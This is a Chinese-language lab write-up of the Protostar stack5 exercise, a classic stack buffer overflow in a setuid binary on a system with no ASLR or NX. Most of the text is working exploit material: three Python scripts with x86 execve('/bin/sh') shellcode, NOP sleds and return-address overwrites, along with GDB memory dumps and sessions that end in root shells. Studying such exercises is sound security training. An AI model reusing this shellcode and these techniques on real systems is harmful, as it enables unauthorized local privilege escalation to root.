傳統棧溢出-(Exploit-exercise-protostar-stack5)

概述

傳統棧溢出有這些特點:

沒有ASLR

沒有NX

 

題目來自https://exploit-exercises.com/protostar/stack5/

 

本來覺得很簡單的,還是糾結了半天。

Exploit-exercise-protostar-stack5的第一個坑就是setuid程序的core dump沒有打開。需要這樣操作:

su - root #password:godmode

echo 1 > /proc/sys/fs/suid_dumpable #設置生成core文件

 

第二個坑就是gets緩衝區溢出需要進行特別的處理,使用特定的shellcode(關閉並重新打開stdin)或者使用管道。

Exp1

思路:shellcode放入緩衝區中;

 

GDB調試獲取緩衝區地址爲:0xbffffc70

 

編寫代碼pwn1.py

注意:shellcode_addr = 0xbffffc70;

#!/bin/python
import struct

shellcode = "\x6A\x46\x58\x31\xDB\x31\xC9\xCD\x80\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x51\x53\x89\xE1\x6A\x0B\x58\x99\xCD\x80";

#shellcode_addr = 0xbffffc70; #Get by GDB debug
shellcode_addr = 0xbffffc90; #Get by gdb with coredump

payload = shellcode
payload += 'A'*(64-len(shellcode))
payload += 'B'*8
payload += 'C'*4 #saved_ebp
payload += struct.pack("<I", shellcode_addr)

print payload


GDB調試發現最終執行了/bin/dash

$ python ~/pwn1.py > ~/pwn1.b

$ gdb ./stack5

(gdb) r < ~/pwn1.b

Starting program: /opt/protostar/bin/stack5 < ~/pwn1.b

Executing new program: /bin/dash

 

Program exited normally.

(gdb) q

 

但是,不使用GDB時掛了

$  ulimit -c unlimited

$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5  

Illegal instruction (core dumped)

 

GDB調試發現緩衝區地址實際爲0xbffffc90:

注意:非GDB運行和GDB運行,緩衝區的地址會有變化;

(gdb) x/64bx 0xbffffc90

0xbffffc90:     0xaa    0x46    0x58    0x31    0xdb    0x31    0xc9    0xcd

0xbffffc98:     0x80    0x51    0x68    0x2f    0x2f    0x73    0x68    0x68

0xbffffca0:     0x2f    0x62    0x69    0x6e    0x89    0xe3    0x51    0x53

0xbffffca8:     0x89    0xe1    0x6a    0x0b    0x58    0x99    0xcd    0x80

0xbffffcb0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcb8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcc0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0xbffffcc8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

 

現在修改緩衝區地址,後執行

shellcode_addr = 0xbffffc90;

$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5  

whoami

root

exit

 

注意:這裏使用的”()”會生成一個子shell;

子shell中執行兩條命令。

第一條命令將payload輸出到標準輸出,通過管道傳輸給stack5;

第二個命令cat從標準輸入中讀取數據輸出到標準輸出,也會通過管道傳輸給stack5;

 

使用<讀取文件時結果是這樣的:

$ python ~/pwn1.py > ~/pwn1.b

$ /opt/protostar/bin/stack5 < ~/pwn1.b

$ echo $?

0

程序拿到shell後,由於標準輸入來自文件,已經讀完了,因此直接退出了。

可以用strace觀察到。

 

注意:

l Shellcode放到了緩衝區中,但是緩衝區的位置不是確定的,需要生成core後GDB調試獲取;

l 緩衝區的位置可能在系統重啓後不一樣;

l 可以使用NOP Slot來消除這種不確定性。

l shellcode本身需要用到棧,如果緩衝區很小,則會shellcode的入棧會破壞shellcode代碼。

EXP2

思路:

Shellcode放在返回地址後面,前面跟上NOP Slot;這可以消除緩衝區位置的不確定性。 

#!/bin/python
import struct

shellcode = "\x6A\x46\x58\x31\xDB\x31\xC9\xCD\x80\x6A\x0B\x58\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x51\x53\x89\xE1\x99\xCD\x80";

buf_addr = 0xbffffcc0; #may vary
shellcode_addr = buf_addr+128;

payload = 'A'*64
payload += 'B'*8
payload += 'C'*4 #saved_ebp
payload += struct.pack("<I", shellcode_addr)
payload += '\x90'*256
payload += shellcode

print payload


結果

$ ( python ~/pwn2.py ; cat ) | /opt/protostar/bin/stack5  

whoami

root

exit

Gets緩衝區溢出

對於gets緩衝區溢出,使用一般的shellcode搞不定:stdin應該被關閉和重新打開。

還有一種方式是使用管道,如下:

( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5

 

現在使用新的shellcode,來自https://www.exploit-db.com/exploits/13357/。

pwn3.py

#!/bin/python
import struct

shellcode = "\x31\xC0\x31\xDB\xB0\x06\xCD\x80\x53\x68\x2F\x74\x74\x79\x68\x2F\x64\x65\x76\x89\xE3\x31\xC9\x66\xB9\x12\x27\xB0\x05\xCD\x80\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x99\xB0\x0B\xCD\x80"

buf_addr = 0xbffffcc0; #may vary
shellcode_addr = buf_addr+128

payload = 'A'*64
payload += 'B'*8
payload += 'C'*4 #saved_ebp
payload += struct.pack("<I", shellcode_addr)
payload += '\x90'*256
payload += shellcode

print payload


可以使用<進行重定向了:

$ python ~/pwn3.py > ~/pwn3.b

$ /opt/protostar/bin/stack5 < ~/pwn3.b

# whoami

root

# exit

結論

l GDB環境與非GDB環境下運行程序時,棧緩衝區的位置不一樣;非GDB環境下的地址大於GDB環境下的地址;

l 可以使用NOP Slot來消除棧緩衝區位置的不確定性;

l gets緩衝區溢出需要進行特別的處理;

使用特定的shellcode(關閉並重新打開stdin)或者使用管道;

使用管道的示例:

( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5

參考文章

1. https://exploit-exercises.com/protostar/stack5/

2. http://sh3llc0d3r.com/protostar-exploit-exercises-stack5/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章